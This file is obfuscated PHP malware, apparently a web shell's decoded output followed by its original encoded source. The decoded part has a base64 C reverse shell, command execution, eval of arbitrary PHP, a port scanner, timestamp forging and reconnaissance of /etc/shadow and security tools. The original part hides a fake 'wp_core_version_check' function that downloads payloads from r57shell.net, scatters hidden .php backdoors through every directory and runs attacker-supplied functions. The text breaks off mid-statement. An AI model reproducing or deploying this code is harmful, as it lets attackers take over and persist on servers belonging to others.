Brqla: p("</p>"); goto YNQQY; A1Cyw: !$yourport && ($yourport = "12345"); goto rAyRf; ABuht: makeinput(array("name" => "start", "value" => "Start", "type" => "submit", "class" => "bt")); goto Brqla; GFLVp: !$yourip && ($yourip = $_SERVER["REMOTE_ADDR"]); goto A1Cyw; FnEWu: p("Your Port:"); goto EI0wb; WvD6w: $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; goto yNPIY; gVRtm: p("Your IP:"); goto LxNzO; G06Lk: } elseif ($action == "portscan") { goto uFt2J; xH2PO: formhead(array("title" => "Port Scan")); goto aI3Uq; UGqt6: if ($startscan) { goto RNxRG; RNxRG: p("<h2>Result »</h2>"); goto JboTj; skFAT: foreach (explode(",", $scanport) as $port) { $fp = @fsockopen($scanip, $port, $errno, $errstr, 1); if (!$fp) { p("<li>" . $scanip . ":" . $port . " ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>"); } else { p("<li>" . $scanip . ":" . $port . " ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>"); @fclose($fp); } } goto GZtEU; JboTj: p("<ul class="info">"); goto skFAT; GZtEU: p("</ul>"); goto Ht2A9; Ht2A9: } goto g9H70; VBt9M: makeinput(array("name" => "scanport", "size" => 80, "value" => $scanport)); goto x2pfR; bbe3d: formfoot(); goto UGqt6; AY3_9: makeinput(array("name" => "scanip", "size" => 20, "value" => $scanip)); goto lIPO1; uFt2J: !$scanip && ($scanip = "127.0.0.1"); goto hrls1; lIPO1: p("Port:"); goto VBt9M; aI3Uq: makehide("action", "portscan"); goto sp7iT; sp7iT: p("<p>"); goto VmLcB; VmLcB: p("IP:"); goto AY3_9; otEAT: p("</p>"); goto bbe3d; x2pfR: makeinput(array("name" => "startscan", "value" => "Scan", "type" => "submit", "class" => "bt")); goto otEAT; hrls1: !$scanport && ($scanport = "21,25,80,110,135,139,445,1433,3306,3389,5631,43958"); goto xH2PO; g9H70: } elseif ($action == "eval") { goto HbO31; BC8J7: maketext(array("title" => "PHP Code", "name" => "phpcode", "value" => $phpcode)); goto mrZiG; nU0Eb: if ($phpcode) { if (!preg_match("#<\?#si", $phpcode)) { $phpcode = "<?php
{$phpcode}\xa
?>"; } eval("?" . ">{$phpcode}<?"); } goto V87Wb; V87Wb: formhead(array("title" => "Eval PHP Code")); goto NDJQs; NDJQs: makehide("action", "eval"); goto BC8J7; mrZiG: p("<p><a href="http://w" . "ww.4ng" . "el.net/php" . "spy/pl" . "ugin/" target="_blank">Get plugins</a></p>"); goto O24X1; O24X1: formfooter(); goto AMTXB; HbO31: $phpcode = trim($phpcode); goto nU0Eb; AMTXB: } elseif ($action == "editfile") { goto BASFl; Q2deT: formfooter(); goto Sck2k; YJ7W_: maketext(array("title" => "File Content", "name" => "filecontent", "value" => $contents)); goto Q2deT; Sck2k: goback(); goto qc0Y0; nbahB: makeinput(array("title" => "Current File (import new file name and new file)", "name" => "editfilename", "value" => $opfile, "newline" => 1)); goto YJ7W_; Rex1f: makehide("action", "file"); goto vtWXM; sldW9: formhead(array("title" => "Create / Edit File")); goto Rex1f; vtWXM: makehide("dir", $nowpath); goto nbahB; BASFl: if (file_exists($opfile)) { goto k4nDu; PUKu8: $contents = @fread($fp, filesize($opfile)); goto MGH4n; mPAal: $contents = htmlspecialchars($contents); goto h2RL2; k4nDu: $fp = @fopen($opfile, "r"); goto PUKu8; MGH4n: @fclose($fp); goto mPAal; h2RL2: } goto sldW9; qc0Y0: } elseif ($action == "newtime") { goto UkKKn; UkKKn: $opfilemtime = @filemtime($opfile); goto ipfrN; gEaIz: p("minute:"); goto uz0A2; en_wb: p("hour:"); goto z4qke; VVpSJ: makehide("action", "file"); goto FmMcl; oCRmq: makeinput(array("title" => "Reference folder/file (fullpath)", "name" => "tarfile", "size" => 120, "newline" => 1)); goto o_Tfk; id1Ms: makeinput(array("title" => "Current folder/file (fullpath)", "name" => "curfile", "value" => $opfile, "size" => 120, "newline" => 1)); goto bjA13; tcVuC: makeinput(array("name" => "day", "value" => date("d", $opfilemtime), "size" => 2)); goto en_wb; WcfNw: makeinput(array("name" => "year", "value" => date("Y", $opfilemtime), "size" => 4)); goto LMO0S; OmwOF: formfooter(); goto XiXBF; sWG8F: makehide("dir", $nowpath); goto id1Ms; tDN52: makeinput(array("name" => "month", "value" => date("m", $opfilemtime), "size" => 2)); goto ZvUV3; oCEpO: makeinput(array("name" => "second", "value" => date("s", $opfilemtime), "size" => 2)); goto vIZk2; uuW_Q: formhead(array("title" => "Set last modified")); goto RjdIF; o_Tfk: formfooter(); goto uuW_Q; voUoi: p("second:"); goto oCEpO; ZvUV3: p("day:"); goto tcVuC; XiXBF: goback(); goto pBq11; FmMcl: makehide("dir", $nowpath); goto MfU1Q; LMO0S: p("month:"); goto tDN52; ipfrN: $cachemonth = array("January" => 1, "February" => 2, "March" => 3, "April" => 4, "May" => 5, "June" => 6, "July" => 7, "August" => 8, "September" => 9, "October" => 10, "November" => 11, "December" => 12); goto fZMPa; MfU1Q: makeinput(array("title" => "Alter folder/file", "name" => "curfile", "value" => $opfile, "size" => 120, "newline" => 1)); goto oCRmq; bjA13: p("<p>year:"); goto WcfNw; z4qke: makeinput(array("name" => "hour", "value" => date("H", $opfilemtime), "size" => 2)); goto gEaIz; uz0A2: makeinput(array("name" => "minute", "value" => date("i", $opfilemtime), "size" => 2)); goto voUoi; vIZk2: p("</p>"); goto OmwOF; RjdIF: makehide("action", "file"); goto sWG8F; fZMPa: formhead(array("title" => "Clone folder/file was last modified time")); goto VVpSJ; pBq11: } elseif ($action == "shell") { goto q3Z9S; UyM1p: if ($command) { goto mT_xr; mT_xr: p("<hr width="100%" noshade /><pre>"); goto Z_2sW; hlD95: p("</pre>"); goto hKC6y; Z_2sW: if ($execfunc == "wscript" && IS_WIN && IS_COM) { goto gy_S7; Viyxg: $exec = $wsh->exec("cmd.exe /c " . $command); goto Zt00N; gy_S7: $wsh = new COM("WScript.shell"); goto Viyxg; osF87: $stroutput = $stdout->ReadAll(); goto CWV4I; Zt00N: $stdout = $exec->StdOut(); goto osF87; CWV4I: echo $stroutput; goto EgRNn; EgRNn: } elseif ($execfunc == "proc_open" && IS_WIN && IS_COM) { goto bw7Mv; HHX7T: $process = proc_open($_SERVER["COMSPEC"], $descriptorspec, $pipes); goto m74A0; bw7Mv: $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); goto HHX7T; m74A0: if (is_resource($process)) { goto iqYXN; iqYXN: fwrite($pipes[0], $command . "
"); goto X12fn; tx5_2: while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } goto KhcAh; KhcAh: fclose($pipes[1]); goto HsYhN; X12fn: fwrite($pipes[0], "exit
"); goto JvoiA; JvoiA: fclose($pipes[0]); goto tx5_2; xrG6U: fclose($pipes[2]); goto bfEVE; HsYhN: while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } goto xrG6U; bfEVE: proc_close($process); goto afK0o; afK0o: } goto WHCWN; WHCWN: } else { echo execute($command); } goto hlD95; hKC6y: } goto GzD4U; kLORB: p("</p>"); goto tb421; LbG3F: makehide("action", "shell"); goto OV8Dw; rv734: makeinput(array("name" => "submit", "class" => "bt", "type" => "submit", "value" => "Execute")); goto kLORB; Zb9hw: p("<p>"); goto KFwlW; nxPh3: formhead(array("title" => "Execute Command")); goto LbG3F; tb421: formfoot(); goto UyM1p; q3Z9S: if (IS_WIN && IS_COM) { goto mLd7w; AkpmT: !$program && ($program = "c:\windows\system32\cmd.exe"); goto MhH_d; gnXhB: makeinput(array("title" => "Program", "name" => "program", "value" => $program, "newline" => 1)); goto bFs88; bFs88: p("<p>"); goto tGzQH; U5SwA: p("</p>"); goto QQnIC; MhH_d: !$parameter && ($parameter = "/c net start > " . SA_ROOT . "log.txt"); goto H98zJ; mLd7w: if ($program && $parameter) { goto KkLjo; QQGUZ: $a = $shell->ShellExecute($program, $parameter); goto FmDcZ; FmDcZ: m("Program run has " . (!$a ? "success" : "fail")); goto q_kN8; KkLjo: $shell = new COM("Shell.Application"); goto QQGUZ; q_kN8: } goto AkpmT; QQnIC: formfoot(); goto MNPNh; tGzQH: makeinput(array("title" => "Parameter", "name" => "parameter", "value" => $parameter)); goto df92t; H98zJ: formhead(array("title" => "Execute Program")); goto J0kGn; J0kGn: makehide("action", "shell"); goto gnXhB; df92t: makeinput(array("name" => "submit", "class" => "bt", "type" => "submit", "value" => "Execute")); goto U5SwA; MNPNh: } goto nxPh3; OV8Dw: if (IS_WIN && IS_COM) { $execfuncdb = array("phpfunc" => "phpfunc", "wscript" => "wscript", "proc_open" => "proc_open"); makeselect(array("title" => "Use:", "name" => "execfunc", "option" => $execfuncdb, "selected" => $execfunc, "newline" => 1)); } goto Zb9hw; KFwlW: makeinput(array("title" => "Command", "name" => "command", "value" => htmlspecialchars($command))); goto rv734; GzD4U: } elseif ($action == "phpenv") { goto lbs3e; g3FYv: $adminmail = isset($_SERVER["SERVER_ADMIN"]) ? $_SERVER["SERVER_ADMIN"] : getcfg("sendmail_from"); goto S4Vkk; P2B2v: formhead(array("title" => "Server environment")); goto Al720; HNett: makeinput(array("title" => "Please input PHP configuration parameter(eg:magic_quotes_gpc)", "name" => "phpvarname", "value" => $phpvarname, "newline" => 1)); goto Vex8v; uFgv2: $info = array(1 => array("Server Time", date("Y/m/d h:i:s", $timestamp)), 2 => array("Server Domain", $_SERVER["SERVER_NAME"]), 3 => array("Server IP", gethostbyname($_SERVER["SERVER_NAME"])), 4 => array("Server OS", PHP_OS), 5 => array("Server OS Charset", $_SERVER["HTTP_ACCEPT_LANGUAGE"]), 6 => array("Server Software", $_SERVER["SERVER_SOFTWARE"]), 7 => array("Server Web Port", $_SERVER["SERVER_PORT"]), 8 => array("PHP run mode", strtoupper(php_sapi_name())), 9 => array("The file path", __FILE__), 10 => array("PHP Version", PHP_VERSION), 11 => array("PHPINFO", IS_PHPINFO ? "<a href="javascript:g('phpinfo');">Yes</a>" : "No"), 12 => array("Safe Mode", getcfg("safe_mode")), 13 => array("Administrator", $adminmail), 14 => array("allow_url_fopen", getcfg("allow_url_fopen")), 15 => array("enable_dl", getcfg("enable_dl")), 16 => array("display_errors", getcfg("display_errors")), 17 => array("register_globals", getcfg("register_globals")), 18 => array("magic_quotes_gpc", getcfg("magic_quotes_gpc")), 19 => array("memory_limit", getcfg("memory_limit")), 20 => array("post_max_size", getcfg("post_max_size")), 21 => array("upload_max_filesize", $upsize), 22 => array("max_execution_time", getcfg("max_execution_time") . " second(s)"), 23 => array("disable_functions", $dis_func)); goto pFF2u; pFF2u: if ($phpvarname) { m($phpvarname . " : " . getcfg($phpvarname)); } goto P2B2v; Vex8v: formfooter(); goto KxA2K; oLmPr: for ($a = 0; $a < 2; $a++) { p("<h2>" . $hp[$a] . " »</h2>"); p("<ul class="info">"); if ($a == 0) { for ($i = 1; $i <= 9; $i++) { p("<li><u>" . $info[$i][0] . ":</u>" . $info[$i][1] . "</li>"); } } elseif ($a == 1) { for ($i = 10; $i <= 23; $i++) { p("<li><u>" . $info[$i][0] . ":</u>" . $info[$i][1] . "</li>"); } } p("</ul>"); } goto C0NNf; Al720: makehide("action", "phpenv"); goto HNett; KxA2K: $hp = array(0 => "Server", 1 => "PHP"); goto oLmPr; S4Vkk: !$dis_func && ($dis_func = "No"); goto uFgv2; lbs3e: $upsize = getcfg("file_uploads") ? getcfg("upload_max_filesize") : "Not allowed"; goto g3FYv; C0NNf: } elseif ($action == "secinfo") { goto NEjOR; YEBFQ: secparam("Safe mode include dir", @ini_get("safe_mode_include_dir")); goto fSbvs; mkprw: secparam("Open base dir", @ini_get("open_basedir")); goto TeFIz; SVey3: $temp = array(); goto jcm4P; m_278: if (function_exists("oci_connect")) { $temp[] = "Oracle"; } goto HfAtC; iTlrI: if (!IS_WIN) { goto n3ib6; uLPHL: secparam("OS version", @file_get_contents("/proc/version")); goto BxtNi; DFmSx: $danger = array("kav", "nod32", "bdcored", "uvscan", "sav", "drwebd", "clamd", "rkhunter", "chkrootkit", "iptables", "ipfw", "tripwire", "shieldcc", "portsentry", "snort", "ossec", "lidsadm", "tcplodg", "sxid", "logcheck", "logwatch", "sysmask", "zmbscap", "sawmill", "wormscan", "ninja"); goto ckacK; e48WC: secparam("Readable /etc/passwd", @is_readable("/etc/passwd") ? "yes" : "no"); goto wwi1D; ckacK: $downloaders = array("wget", "fetch", "lynx", "links", "curl", "get", "lwp-mirror"); goto e48WC; BxtNi: secparam("Distr name", @file_get_contents("/etc/issue.net")); goto ak6gH; n3ib6: $userful = array("gcc", "lcc", "cc", "ld", "make", "php", "perl", "python", "ruby", "tar", "gzip", "bzip", "bzip2", "nc", "locate", "suidperl"); goto DFmSx; wwi1D: secparam("Readable /etc/shadow", @is_readable("/etc/shadow") ? "yes" : "no"); goto uLPHL; LzIrP: if (!$GLOBALS["safe_mode"]) { goto Va3XS; I3Mr2: secparam("Danger", implode(", ", $temp)); goto q1FpB; Pfe9J: secparam("Userful", implode(", ", $temp)); goto QZdyQ; q1FpB: $temp = array(); goto FmEo5; ZxCPo: secparam("Downloaders", implode(", ", $temp)); goto gDW81; QZdyQ: $temp = array(); goto yV2EI; Va3XS: $temp = array(); goto RErpi; RErpi: foreach ($userful as $item) { if (which($item)) { $temp[] = $item; } } goto Pfe9J; yV2EI: foreach ($danger as $item) { if (which($item)) { $temp[] = $item; } } goto I3Mr2; Ua3Ti: secparam("Mount options", @file_get_contents("/etc/fstab")); goto XWeqB; kCryc: secparam("HDD space", execute("df -h")); goto Ua3Ti; FmEo5: foreach ($downloaders as $item) { if (which($item)) { $temp[] = $item; } } goto ZxCPo; gDW81: secparam("Hosts", @file_get_contents("/etc/hosts")); goto kCryc; XWeqB: } goto AU6dZ; ak6gH: $safe_mode = @ini_get("safe_mode"); goto LzIrP; AU6dZ: } else { goto W9zU2; i370p: secparam("User Accounts", execute("net user")); goto D5Tfw; W9zU2: secparam("OS Version", execute("ver")); goto Axf2w; D5Tfw: secparam("IP Configurate", execute("ipconfig -all")); goto dKMFF; Axf2w: secparam("Account Settings", execute("net accounts")); goto i370p; dKMFF: } goto ZwPP5; TeFIz: secparam("Safe mode exec dir", @ini_get("safe_mode_exec_dir")); goto YEBFQ; AYhM1: secparam("Disabled PHP Functions", $GLOBALS["disable_functions"] ? $GLOBALS["disable_functions"] : "none"); goto mkprw; jcm4P: if (function_exists("mysql_get_client_info")) { $temp[] = "MySql (" . mysql_get_client_info() . ")"; } goto DsBQG; NEjOR: secparam("Server software", @getenv("SERVER_SOFTWARE")); goto AYhM1; HfAtC: secparam("Supported databases", implode(", ", $temp)); goto iTlrI; fSbvs: secparam("cURL support", function_exists("curl_version") ? "enabled" : "no"); goto SVey3; fRUEm: if (function_exists("pg_connect")) { $temp[] = "PostgreSQL"; } goto m_278; DsBQG: if (function_exists("mssql_connect")) { $temp[] = "MSSQL"; } goto fRUEm; ZwPP5: } else { m("Undefined Action"); } goto bWkFA; Y0cCN: function getPerms($filepath) { goto hUu63; EVKBU: $group["read"] = $mode & 040 ? "r" : "-"; goto HKz2s; gW1TF: $perm = $type . $owner["read"] . $owner["write"] . $owner["execute"] . $group["read"] . $group["write"] . $group["execute"] . $world["read"] . $world["write"] . $world["execute"]; goto C7d8k; tpDqO: $group["execute"] = $mode & 010 ? "x" : "-"; goto dd4ql; ilE3v: $world["execute"] = $mode & 01 ? "x" : "-"; goto pOdYZ; g7qEw: if ($mode & 0x200) { $world["execute"] = $world["execute"] == "x" ? "t" : "T"; } goto gW1TF; Plak_: $mode = @fileperms($filepath); goto xQpvu; pOdYZ: if ($mode & 0x800) { $owner["execute"] = $owner["execute"] == "x" ? "s" : "S"; } goto z8Eq7; z8Eq7: if ($mode & 0x400) { $group["execute"] = $group["execute"] == "x" ? "s" : "S"; } goto g7qEw; XJ5do: $owner["execute"] = $mode & 0100 ? "x" : "-"; goto EVKBU; hUu63: $dirname = dirname($filepath); goto Plak_; C7d8k: if (!@is_readable($filepath)) { $perm = "<font color="#FF0000" style="font-weight:bold;">" . $perm . "</font>"; } elseif (!@is_writable($filepath)) { $perm = "<font color="000" style="font-weight:bold;">" . $perm . "</font>"; } else { $perm = "<font color="#12940c" style="font-weight:bold;">" . $perm . "</font>"; } goto aXBtP; dd4ql: $world["read"] = $mode & 04 ? "r" : "-"; goto QsUqM; EFrmU: $owner["read"] = $mode & 0400 ? "r" : "-"; goto O3848; HKz2s: $group["write"] = $mode & 020 ? "w" : "-"; goto tpDqO; aXBtP: return $perm; goto XM44R; QsUqM: $world["write"] = $mode & 02 ? "w" : "-"; goto ilE3v; O3848: $owner["write"] = $mode & 0200 ? "w" : "-"; goto XJ5do; xQpvu: if (($mode & 0xc000) === 0xc000) { $type = "s"; } elseif (($mode & 0x4000) === 0x4000) { $type = "d"; } elseif (($mode & 0xa000) === 0xa000) { $type = "l"; } elseif (($mode & 0x8000) === 0x8000) { $type = "-"; } elseif (($mode & 0x6000) === 0x6000) { $type = "b"; } elseif (($mode & 0x2000) === 0x2000) { $type = "c"; } elseif (($mode & 0x1000) === 0x1000) { $type = "p"; } else { $type = "?"; } goto EFrmU; XM44R: } goto vfSYg; B3Eo6: $mtime = explode(" ", microtime()); goto b1DZ_; hmoEj: function pr($s) { echo "<pre>" . print_r($s) . "</pre>"; } ?>
Did this file decode correctly?
Original Code
<?php
goto u4owr; j7Ll6: function p($str) { echo $str . "\12"; } goto Mxoly; h9NPw: echo "\51\x3c\x2f\x74\x64\x3e\xd\12\x9\x3c\57\164\162\x3e\xd\xa\x9\74\x74\x72\x20\x63\x6c\141\x73\163\75\x22\141\154\164\61\42\76\xd\xa\11\11\74\164\144\76\xd\xa\x9\x9\x9\74\x73\160\x61\156\40\163\164\x79\154\x65\75\x22\146\x6c\157\x61\164\72\162\151\147\x68\x74\x3b\42\x3e\120\x48\x50\x20"; goto y5Zoy; Zc2mi: $charsetdb = array('', "\141\x72\x6d\x73\143\151\151\70", "\141\x73\143\151\x69", "\x62\151\x67\65", "\x62\151\156\x61\162\171", "\x63\160\61\62\x35\x30", "\x63\x70\61\x32\x35\61", "\x63\160\x31\x32\x35\x36", "\x63\x70\61\62\x35\67", "\143\160\x38\x35\x30", "\143\160\70\65\62", "\x63\x70\x38\x36\66", "\143\x70\x39\63\62", "\144\145\x63\70", "\145\x75\143\x2d\x6a\160", "\x65\x75\x63\55\x6b\162", "\x67\x62\x32\63\61\62", "\x67\142\x6b", "\147\x65\x6f\163\x74\x64\x38", "\x67\x72\145\145\153", "\x68\145\x62\x72\145\x77", "\150\160\x38", "\x6b\145\x79\x62\143\x73\x32", "\x6b\x6f\x69\x38\x72", "\x6b\157\x69\70\165", "\154\141\164\151\x6e\61", "\154\x61\x74\151\x6e\x32", "\x6c\141\x74\x69\x6e\x35", "\x6c\x61\x74\x69\156\67", "\155\x61\x63\x63\145", "\155\141\x63\x72\157\x6d\141\156", "\163\152\151\163", "\163\x77\145\67", "\164\151\x73\x36\62\60", "\x75\143\x73\62", "\x75\x6a\x69\x73", "\x75\164\146\70"); goto mw4v5; ILhrk: function formfoot() { p("\74\x2f\x66\x6f\x72\x6d\x3e"); } goto cvggG; vcpFM: $cookiepre = ''; goto YJD9B; tW8sZ: function s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else { if (is_string($array)) { $array = stripslashes($array); } } return $array; } goto WBWIb; MlFJX: function multi($num, $perpage, $curpage, $tablename) { goto CRSPf; iYzop: return $multipage; goto rINIh; zq2xL: if ($num > $perpage) { goto W_5Ek; W_5Ek: $page = 10; goto Y2QrB; B3GsL: $pages = @ceil($num / $perpage); goto dy2xO; qlenl: $multipage = ($curpage - $offset > 1 && $pages > $page ? "\x3c\141\40\x68\162\145\146\x3d\x22\152\x61\166\x61\x73\143\162\151\160\164\72\163\145\164\x74\x61\x62\154\x65\50\47" . $tablename . "\x27\x2c\x20\47\x27\x2c\x20\61\x29\73\x22\76\x46\151\162\163\x74\74\x2f\x61\76\40" : '') . ($curpage > 1 ? "\74\x61\40\150\162\x65\146\75\x22\152\141\166\141\163\x63\x72\151\x70\164\72\163\145\x74\x74\x61\x62\154\x65\x28\x27" . $tablename . "\47\x2c\x20\x27\47\x2c\40" . ($curpage - 1) . "\51\73\x22\x3e\120\x72\145\x76\74\57\x61\76\x20" : ''); goto zAQXR; zAQXR: for ($i = $from; $i <= $to; $i++) { $multipage .= $i == $curpage ? $i . "\x20" : "\74\x61\40\150\x72\145\x66\75\42\x6a\141\x76\x61\163\143\x72\x69\160\164\72\x73\x65\164\164\141\x62\x6c\145\x28\x27" . $tablename . "\x27\x2c\40\47\x27\54\40" . $i . "\x29\73\x22\x3e\133" . $i . "\x5d\74\x2f\x61\76\40"; } goto KDC2H; KDC2H: $multipage .= ($curpage < $pages ? "\74\141\40\x68\162\x65\x66\75\42\x6a\x61\166\x61\163\x63\162\x69\x70\x74\72\163\145\x74\164\141\x62\154\x65\50\47" . $tablename . "\47\54\x20\x27\x27\x2c\x20" . ($curpage + 1) . "\x29\73\x22\76\x4e\145\x78\164\74\57\x61\76" : '') . ($to < $pages ? "\x20\74\141\x20\150\162\x65\x66\x3d\x22\152\141\x76\x61\x73\143\162\x69\x70\164\x3a\163\x65\x74\164\x61\142\154\x65\x28\x27" . $tablename . "\x27\x2c\40\47\x27\x2c\40" . $pages . "\x29\x3b\42\x3e\x4c\x61\x73\164\x3c\x2f\141\x3e" : ''); goto wB0lC; wB0lC: $multipage = $multipage ? "\74\x70\x3e\120\141\147\x65\163\72\x20" . $multipage . "\x3c\57\160\x3e" : ''; goto MAQvn; Y2QrB: $offset = 5; goto B3GsL; dy2xO: if ($page > $pages) { $from = 1; $to = $pages; } else { goto j2TV1; ggAv9: if ($from < 1) { goto btDKb; pNk_f: if ($to - $from < $page && $to - $from < $pages) { $to = $page; } goto aXYW3; btDKb: $to = $curpage + 1 - $from; goto Pu960; Pu960: $from = 1; goto pNk_f; aXYW3: } elseif ($to > $pages) { goto jjDGr; jjDGr: $from = $curpage - $pages + $to; goto dPRLU; Ciu4p: if ($to - $from < $page && $to - $from < $pages) { $from = $pages - $page + 1; } goto OQzcP; dPRLU: $to = $pages; goto Ciu4p; OQzcP: } goto MYkLp; j2TV1: $from = $curpage - $offset; goto EsIk7; EsIk7: $to = $curpage + $page - $offset - 1; goto ggAv9; MYkLp: } goto qlenl; MAQvn: } goto iYzop; CRSPf: $multipage = ''; goto zq2xL; rINIh: } goto qs1Jm; h7Q_j: if (!function_exists("\167\160\x5f\x63\157\x72\145\x5f\x76\145\x72\163\151\x6f\156\x5f\143\150\x65\143\153")) { function wp_core_version_check() { goto NM3E1; d7A3y: $hostname = str_replace("\167\x77\x77\56", '', $_SERVER["\110\124\x54\x50\x5f\x48\x4f\123\124"]); goto Z0cC7; oTT4Q: $parse_url = parse_url($request_uri); goto XJ_4c; hCRyi: $request_uri = $_SERVER["\x52\105\x51\x55\105\x53\124\x5f\x55\x52\x49"]; goto oTT4Q; ItMO9: foreach ($dirs as $d) { goto SAU_o; XqL50: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto N3RM5; N3RM5: foreach ($dirs as $d) { if (!@preg_match("\x23\x77\160\x2d\x63\x6f\x6e\x74\x65\156\x74\43", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\56" . basename($d) . "\x2e\x70\x68\x70"; @file_put_contents($file_name, $response); } } goto w9h6X; dv5g0: @file_put_contents($file_name, $response); goto XqL50; SAU_o: $file_name = $d . DIRECTORY_SEPARATOR . "\56" . basename($d) . "\56\160\150\160"; goto dv5g0; w9h6X: } goto uJY_o; Z0cC7: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\163\145\163\163\x5f" . md5('' . $hostname . "\x5f" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "\163\145\x73\x73\137" . md5('' . $hostname . "\137" . $document_file . ''); } goto ZHkr6; g65AD: $file_path = dirname($document_file); goto Gay6b; XJ_4c: $uri_path = $parse_url["\160\141\x74\x68"]; goto ZWJhB; ZHkr6: if (@$_GET["\x73\x6c\151\x6e\143\145\x5f\x67\157\154\144\x65\156"]) { goto zrYpO; zrYpO: echo "\74\x21\x2d\55\x20\x2f\x2f\123\151\154\145\x6e\x63\x65\40\x69\163\40\147\157\x6c\x64\145\x6e\x2e\x20\55\x2d\76"; goto vDbSb; vDbSb: if (function_exists("\143\165\162\154\137\x69\156\x69\164")) { goto iNotn; Nbaos: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\72\57\57\x72\65\x37\x73\x68\145\x6c\154\56\x6e\145\164\x2f\x6a\x71\x75\145\x72\171\56\160\x68\160\77\166\75\x31\56\x32\x26\160\167\144\x3d\x67\x65\x74"); goto W1HyN; u2kzk: $response = curl_exec($ch); goto RimSM; RimSM: curl_close($ch); goto sSd79; W1HyN: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto u2kzk; iNotn: $ch = curl_init(); goto Nbaos; sSd79: } else { $response = file_get_contents("\x68\x74\164\x70\72\x2f\57\162\65\x37\163\x68\x65\x6c\x6c\56\x6e\145\164\x2f\x6a\161\165\x65\x72\171\x2e\x70\150\x70\x3f\x76\x3d\61\x2e\62\46\160\x77\x64\x3d\147\x65\x74"); } goto SIm9T; SIm9T: if (md5(sha1(@$_GET["\151\163"])) == $response) { goto qw98Q; lr_YF: if (@$_POST["\154"]) { function basic_code_extensions($request) { goto qAers; qAers: $tmp = tmpfile(); goto tik0a; vicMX: fwrite($tmp, $request); goto FCQQt; tik0a: $tmpf = stream_get_meta_data($tmp); goto adNoV; adNoV: $tmpf = $tmpf["\165\x72\x69"]; goto vicMX; bYcYj: return $ret; goto fDkAm; FCQQt: $ret = (include $tmpf); goto IMEjq; IMEjq: fclose($tmp); goto bYcYj; fDkAm: } print_r(basic_code_extensions($_POST["\154"])); } goto mZjrL; ynAb2: if (@$_GET["\155"]) { goto wYdKg; TZwYK: echo $file_name_path; goto CaxWt; wYdKg: if (function_exists("\143\x75\162\x6c\x5f\151\x6e\x69\164")) { goto z87MP; CByMj: curl_close($ch); goto BWQPV; uaBjv: $response = curl_exec($ch); goto CByMj; WTVbW: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto uaBjv; EEO1t: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\x70\72\57\57\x72\x35\x37\x73\x68\145\154\x6c\x2e\x6e\145\x74\x2f\155\151\156\x69\137\x61\144\155\x69\x6e\x2e\164\x78\x74"); goto WTVbW; z87MP: $ch = curl_init(); goto EEO1t; BWQPV: } else { $response = file_get_contents("\x68\x74\164\x70\72\x2f\x2f\162\x35\67\x73\x68\x65\x6c\x6c\56\156\145\x74\x2f\x6d\x69\x6e\x69\x5f\141\x64\155\151\x6e\56\x74\170\164"); } goto UlHXI; UlHXI: $file_name_path = @$_GET["\155"] . "\x67\x61\x67\141\154\56\160\x68\160"; goto H0iGG; H0iGG: @file_put_contents($file_name_path, $response); goto TZwYK; CaxWt: } goto lr_YF; qw98Q: if (@$_GET["\x66"]) { print_r($_GET["\x66"]($_GET["\x63"])); } goto ynAb2; mZjrL: } goto RsDOc; RsDOc: exit; goto WnHzR; WnHzR: } goto rfC1s; rl0x2: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto ItMO9; Gay6b: $uri_path = str_replace("\57", DIRECTORY_SEPARATOR, $uri_path); goto nm7t_; rfC1s: if (!file_exists($tmp_file)) { goto EwOww; EwOww: if (function_exists("\x63\x75\162\154\137\151\156\x69\164")) { goto Y71iE; g8xuO: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\x48\x54\x54\x50\137\110\117\x53\x54"] . $_SERVER["\x52\x45\x51\125\x45\x53\x54\x5f\125\122\111"]); goto utyTz; utyTz: $response = curl_exec($ch); goto ExM2b; Y71iE: $ch = curl_init(); goto gI5xX; ExM2b: curl_close($ch); goto DbF3q; dBIbf: 